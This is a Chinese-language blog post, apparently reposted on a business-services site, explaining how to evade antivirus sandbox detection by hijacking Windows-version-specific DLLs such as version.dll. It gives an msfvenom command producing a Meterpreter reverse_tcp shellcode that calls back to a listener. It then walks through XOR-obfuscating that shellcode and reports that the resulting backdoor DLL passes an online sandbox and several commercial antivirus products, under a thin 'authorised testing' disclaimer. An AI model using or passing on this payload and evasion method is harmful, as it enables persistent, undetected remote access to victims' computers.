利用windows版本差异绕过沙箱查毒
发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370
本文所采用技术,仅用来实现自定义功能,适用场景仅为授权的测试中进行权限维持或为个人电脑添加定制化功能,如:启动QQ同时启动计算器,方便实用~ 0x01 前言 之前写过一篇文章《内网渗透:dll劫持权限维持研究》,研究了如何为个人电脑添加定制化功能:启动QQ同时启动计算器,并把项目放到了github上 https://github.com/LDrakura/DLLhijack-ShellcodeLoader 该项目原理是利用dll劫持+shellcode执行的方式实现的,但一些小伙伴反馈说,启动qq同时执行计算器没有问题,但是如果启动qq同时上线就会报毒。我思考了很久也不太理解,为什么会报毒呢?把自动登录以及记住密码勾选上,下次启动qq不是就直接就上线了嘛? 0x02 杀毒与沙箱 杀毒引擎查杀木马分为静态与动态查杀,静态查杀是指不运行程序,通过文件hash,文件特征等对已知病毒的查杀。动态查杀是指运行起程序,通过分析进程行为,进行查杀。 因为一些病毒木马是有破坏性的,像勒索病毒,在动态分析具有破坏性病毒时,往往会造成不可逆的损害,因此一般将程序放入沙箱进行分析。一些沙箱实际上就是定制化的虚拟机。如国内某步: 实际使用win7沙箱对木马进行动态查杀。 0x03 思路产生 不同windows版本肯定是有一些区别的,可能是api区别,也可能是一些库的区别。因此如果通过不同版本的windows的差异来编写权限维持程序,是否可以躲避沙箱的查杀? 我找到这一样个dll: 在win10上的导出函数如下: 在win7上的导出函数如下: 这个DLL文件应该是更新过,在win7与win10上不同,且不通用,如果编写win10版的version.dll对程序进行劫持,是否可以绕过win7的沙箱检测呢?(反过来也可以) 目前个人感觉市面上大多数在线杀毒引擎,win7沙箱所占比例较高,而且一些引擎可能还未使用win10沙箱。 0x04 查杀测试 首先生成真实后门shellcode: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.110 LPORT=12345 -f c 使用shellcode编写win7win10通用dll 代码参考:https://github.com/LDrakura/DLLhijack-ShellcodeLoader 文章参考:内网渗透:dll劫持权限维持研究 通用DLL && 未处理shellcode: 部分代码如下: 编译成winmm_common.dll 未做任何处理,直接将shellcode放入dll中,编译成功对DLL进行查杀(某步),直接报毒: 运行截图无异常: 可以看出,未经处理的shellcode,放入普通通用dll中,引擎是会报毒的。 通用DLL && shellcode异或: 我们将shellcode简单异或处理一下并在代码中还原,使其失去明显特征,代码如下: 编译成winmm_xor.dll 上传某步进行查杀。结果如下: 运行截图无异常: 去除了部分静态特征,静态引擎查杀变少了,但动态行为依然存在敏感行为。 非通用DLL && 未处理shellcode: 使用win10下的version.dll非通用库,原始shellcode,代码如下: 编译成version_common.dll: 上传某步进行查杀: 运行时截图: 行为特征已经没了,只剩下静态特征,运行时都报错了,哪来的行为特征。 (那个PDB路径无视,vs配置可以去掉,懒了没改) 非通用DLL && shellcode异或: 可以发现,dll在沙箱中已无法正常运行,因此也不存在动态行为检测,因此我们只要去除代码中的静态特征即可。对shellcode进行简单异或,并在代码中进行还原,代码如下: 编译成version_xor.dll: 上传某步进行查杀: 运行截图: 动静全无,安全文件。 0x05 实际效果 实际免杀效果受多重因素影响,较为复杂,仅简单测试,不作为结论。 测试环境:win10 火绒: 360: 腾讯电脑管家: 0x06 声明 *本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担
- 上一篇:密码爆破之验证码的识别
- 下一篇:[VNCTF 2021]realezjvav